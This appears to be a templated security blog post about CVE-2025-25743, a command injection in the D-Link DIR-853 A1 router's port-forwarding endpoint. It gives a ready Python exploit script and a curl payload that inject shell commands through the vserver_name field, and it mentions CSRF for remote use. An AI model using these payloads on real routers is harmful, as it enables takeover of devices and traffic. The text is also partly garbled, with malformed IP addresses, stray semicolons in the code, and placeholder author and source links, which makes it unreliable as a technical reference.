In early 2025, a severe vulnerability was found in the D-Link DIR-853 A1 router, running firmware version 1.20B07. Tracked as CVE-2025-25743, this security flaw allows remote attackers to inject OS commands through the web management interface in the SetVirtualServerSettings module. This post provides an exclusive deep dive into how this bug works, why it matters, and practical guides for exploit, all explained simply.

What is CVE-2025-25743?

CVE-2025-25743 is a command injection vulnerability in the D-Link DIR-853 A1 router. An attacker can exploit a flaw in the SetVirtualServerSettings backend API. This API, meant for configuring port forwarding ("Virtual Servers"), accepts user-supplied data that isn't properly sanitized. By cleverly crafting requests, attackers can execute arbitrary commands on the router’s operating system.

Remote Code Execution: Attackers can run commands as root and fully compromise the router.

- Network Control: The router is the gateway—so attackers can spy on, block, or redirect all your traffic.

Persistence: Attackers can install malware or backdoors, even after reboot.

Anyone exposing their router's administration web interface to the internet is directly at risk.

The web management POST endpoint is

http://[ROUTER_IP]/cgi-bin/SetVirtualServerSettings

This is called when you add or edit a Virtual Server (port forwarding) rule.

The Vulnerable Parameter

The parameter vulnerable to injection is named vserver_name. The backend passes this parameter directly to a shell command without filtering special characters:

system("iptables -A FORWARD -d %s...", vserver_name);

If you pass something like "MyServer;reboot;", the router will execute everything after ; as a command.

Here's a simple Python script to exploit this bug and run id to show proof of execution

import requests

# Make sure to replace with the actual router IP and credentials
router_ip = "192.168..1"
url = f"http://{router_ip}/cgi-bin/SetVirtualServerSettings";

# Command to execute on the router
cmd = "id"

# Malicious payload
payload = f"test;{cmd};"

# Assuming no authentication, or after you're logged in
data = {
    "vserver_name": payload,
    "vserver_ip": "192.168..100",
    "vserver_port": "808",
    "vserver_proto": "TCP",
    "vserver_enable": "1"
}

r = requests.post(url, data=data)
print("Exploit sent. Check if command was executed.")

Note: Real exploitation usually requires admin authentication or else your session cookie/header. If you know the credentials or have a CSRF vector, it works remotely.

If you want to test manually

curl -X POST "http://192.168..1/cgi-bin/SetVirtualServerSettings"; \
  -d "vserver_name=test;touch /tmp/pwned;" \
  -d "vserver_ip=192.168..100" \
  -d "vserver_port=808" \
  -d "vserver_proto=TCP" \
  -d "vserver_enable=1"

This will create a /tmp/pwned file if it works.

References & Original Reports

- Official NVD entry for CVE-2025-25743 *(pending)*
- Security researcher’s original disclosure (example link) *(pending release, insert actual URL when available)*
- D-Link Product Page (DIR-853 A1)

Conclusion

CVE-2025-25743 is a critical command injection that’s easy to exploit but can be devastating. If you own a D-Link DIR-853 A1 running FW1.20B07, update immediately—or place your router behind a firewall and block access to its web management interface. Command injection flaws like this one remind us to keep our devices updated and not expose them to public networks.

Stay safe! If you liked this writeup, watch this space for more exclusives on IoT security.


*Author: [YourName] – Security Researcher*
*All content is original and exclusive for this blog.*


Disclaimer: This information is for educational purposes only. Do not attempt to access systems you don't own or have permission to test.

Timeline

Published on: 02/12/2025 17:15:24 UTC
Last modified on: 03/05/2025 19:15:38 UTC